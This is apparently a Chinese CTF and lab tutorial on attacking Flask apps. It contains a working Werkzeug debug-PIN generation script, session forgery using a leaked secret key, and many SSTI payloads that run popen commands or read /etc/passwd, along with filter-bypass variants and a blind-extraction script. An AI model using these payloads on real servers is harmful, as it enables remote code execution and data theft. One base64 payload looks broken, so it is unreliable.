最近跑了培训写了点flask的session伪造，没能用上，刚好整理了一下先前的资料把flask三种考过的点拿出来写写文章。
debug pin
本地先起一个开启debug模式的服务：
本机启动时会打印出如下：
多次启动会发现打印的PIN码是相同的，分析源自参考链接，可以得出debug pin由六个值决定：
用户
flask.app
Flask
flask目录下的一个app.py的绝对路径
当前电脑的MAC地址，为mac地址的十进制表达式
首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值，若有就直接返回；假如是在win平台下读取不到上面两个文件，就去获取注册表中SOFTWARE\\Microsoft\\Cryptography的值，并返回
也就是我们如果能够伪造这六个值我们就能够生成一个一模一样的PIN码了。
靶机测试
而要获取这六个值我们可以通过任意文件读取来获得，因此本地写一个文件读取的漏洞点，并且为了方便写一个报错页面，放docker上启动：
flask.app
Flask
获取machine-id
直接访问即可：
获取mac地址
用户名从报错界面可以获得
使用脚本即可获得pin码：
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到：
284-995-758
在debug页面输入后成功执行代码。
session伪造
p神文中提到一个客户端session，flask中的session是存放在cookie中的，那么cookie中的字段在客户端访问时是可以被修改的，这就是客户端session，像php的session是存放在服务器中的，django的session可以存放在数据库中，也可以以文件形式存放在服务器中。
而flask的客户端session需要解决的就是防篡改问题，p神总结出来为以下四点：
json.dumps 将对象转换成json字符串，作为数据
如果数据压缩后长度更短，则用zlib库进行压缩
将数据用base64编码
通过hmac算法计算数据的签名，将签名附在数据后，用“.”分割
因此，防篡改的功能位于第四步，也就是签名，在前面学过jwt感觉是差不多的，签名不对的话服务端是无法通过验证的。
写一个flask应用后给session赋值（非正式写法）：
可以看到cookie中是有这么一段东西：
解密后我们看到:
前半截是一个json串，后半截就是一个签名了，倘若有一个ssti，我们通过如{{config}}读取到密钥，那么就可以通过flask-session脚本来伪造session，替换上cookie之后即可达成session伪造。
靶机测试
通过ssti获取到密钥：
抓包获取session，解密取得格式。
工具伪造session：
替换后：
ssti
老生常谈的问题，一直没总结，稍微写写。
先前对于ssti的理解不是很清晰，只会解一些稍简单的ssti，前段时间想出个flask的ssti才发现原来并不是模板中的变量可控就会导致模板注入，一个典型的模板注入如下：
此种形式存在着变量可控的，同时使用了一个不固定的模板，此时就造成了一个ssti，应该认识到的是实际场景很少有ssti的漏洞，因为像这样写模板如果代码量少的话确实方便，但代码量多的话都会写成下面的形式了：
这种情况下是模板先渲染后我们再传入变量，此时代码是安全的；那么目前主题是ssti，当然要继续以不安全的代码来测试一下ssti :），为方便测试我们对第一套代码再作修改：
运行，传入路由：
发现输出49，此时就说明了能够被利用来进行ssti的测试；那么前面学习session伪造时所需要的密钥就可以通过config读到：
http://127.0.0.1:5000/?a={{config}}
那么此处无论是采用%s、format或是其他形式的格式化字符串都好，只要我们的模板在被渲染之前就存在着某处可控，那么就存在着ssti的风险。
无过滤
以前稍微学过，再做个复习。
默认的，所有类追溯回去都能是有着一个object类，因为两个py版本下会有差别，所以分两个py版本进行测试。
py3.7
第一步先通过一个对象获取到对应的类。
可以看出来__class__是返回该对象所对应的类，下一步拿到基类，也就是object:
那么这里也能得到__base__的作用，获得其是获得类所继承的类，可以看到构造出来是一样的类（object），那么我们写一个继承类看看__base__输出什么：
所以我们拿到一个继承类时可以通过base来层层回溯获取到object类，获取到object类后继续：
__subclasses__获取的是当前类的子类列表，那么我们对应上面有继承关系的MyownClass这个类获取到的则是：
通过object类获取到的是一个列表，因此可以通过列表取值的方式获取到我们需要的类，然而会发现类太多了，找到了我们要的类也不知道他处于列表的哪个位置，可以简单写个脚本跑一下：
#-*- coding:utf-8 -*-
#__author__: HhhM
import json
a = """
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k,v in enumerate(allList):
if "os" in v:
print(str(k)+"--->"+v)
我在128取到了<class 'os._wrap_close'>，我们通过调用它的__init__方法进行初始化类：
通过调用globals可以获取到类内存在的方法、属性等值：
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__)
会发现是一个字典，因此我们只需要找到其内存在我们需要的值对应的键之后取值即可。
python3中没有file对象，但还有open，因此有：
此时取到的open我在本地测试时会报错，网上提示是被os的open模块覆盖了，测试后可以如下取到：
可以看出来各个环境下具体情况也会有区别，本地测试通远程不通大多是这个原因了吧，倒是个需要记住的点。
还有个popen可以执行命令：
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("dir").read())
本地测试的话可以写个脚本跑跑有什么可以用的，像找能够构造出eval的类：
会发现的是只要拥有__builtins__的就可以构造出来。
os模块也能如此利用：
py2.7
py3了解之后再回看py2会明了的多，首先是字符串取基类，我发现就是以py3的payload取：
str类需要再套一层base才能取到object类，而其他内置类不需要。
然后找链的过程就大同小异了，py2区别py3的说就有一个file类，可以直接用来读写文件了，用上面的脚本跑出file对象对应的位置。
bypass
下面环境皆以py3.7作为测试环境，起个docker，发现os._wrap_close处在第35的位置。
过滤base
过滤base之后还可以用mro：
包含了整条的继承链，可以看到的是object一直处于最末，直接取-1即可：
取到object类后接下来的操作就一毛一样了。
也可以用拼接：
过滤class
拼接：
这四个都是flask的内置对象，通过他们我们就可以获取到object类了，拼接绕过的话是可以绕过大部分过滤的了。
如果这里mro被过滤了则可以尝试用base一层一层溯源到object类
过滤中括号
利用__getitem__可以取第n位，如：
也可以用pop弹出列表第n位：
过滤双大括号
可以考虑使用判断语句：
无回显可用curl外带。
过滤subclasses
依旧拼接大法：
感觉吧，只要没过滤加号就能拼接绕过。
过滤关键字符
前面的话是构造获取需要的方法链时的一个绕过，这里的话就是在命令执行时的绕过，主要是chr函数起的作用，像php或者是nodejs也有类似的玩法，chr()
符拼接达成绕过。
主要是从含有builtins的类中获取到chr函数，如下：
模板语言还是不弱的，我们可以用来设置值简化payload长度同时进行绕过：
过滤引号
过滤引号的话同样可以用chr来绕过传参时所需要的引号，只需要将先前的链中取值方式略作修改即可，取chr
则执行命令为：
{% set c = ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}
因为flask中存在着request这个内置对象，所以我们也可以利用request来绕过。
在使用模板时，当存在{{request.args.test}}，在我们传入?test=asd时即可指定其值为asd，并且默认的为字符串类型，我们可以借此来达成绕过引号。
如：
?a={{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls
事实上如果request对象没被过滤的话，我们可以用此种方式绕过绝大部分过滤。
盲注
这个方法是从p0师傅的博客中看到的，就是利用if语句返回值来判断语句是否为真，然后从输出值来判断结果。
py2的话可以用file对象，py3则可以用open。
#-*- coding:utf-8 -*-
#__author__: HhhM
import requests
url = 'http://172.23.129.221:12339/?a='
def check(payload):
r = requests.get(url+payload).content
return 'hhhm' in r
password = ''
s = """
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$'()*+,-./:;<=>?@[\]^`{|}~"_%
"""
for i in range(0,100):
for c in s:
payload = '{% if ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}hhhm{% endif %}'
if check(payload):
password += c
break
print password
过滤init
还有一个替代的__enter__，同样的有paylod：
{{().__class__.__base__.__subclasses__()[35].__enter__.__globals__.__builtins__.open("/etc/passwd").read()}}
甚至还有另一个__exit__同样可以替代：
{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("/etc/passwd").read()}}
base64绕过
简单易懂，py2下可以不过py3因为其字符为unicode编码，需要进行转码。
{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')).read()}}
环境
配套docker已发布于github：https://github.com/a756379684/flask-sec-docker
参考
参考自：
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://p0sec.net/index.php/archives/120/
相关实验--Flask服务端模板注入漏洞
（通过该实验了解服务端模板注入漏洞的危害与利用。）
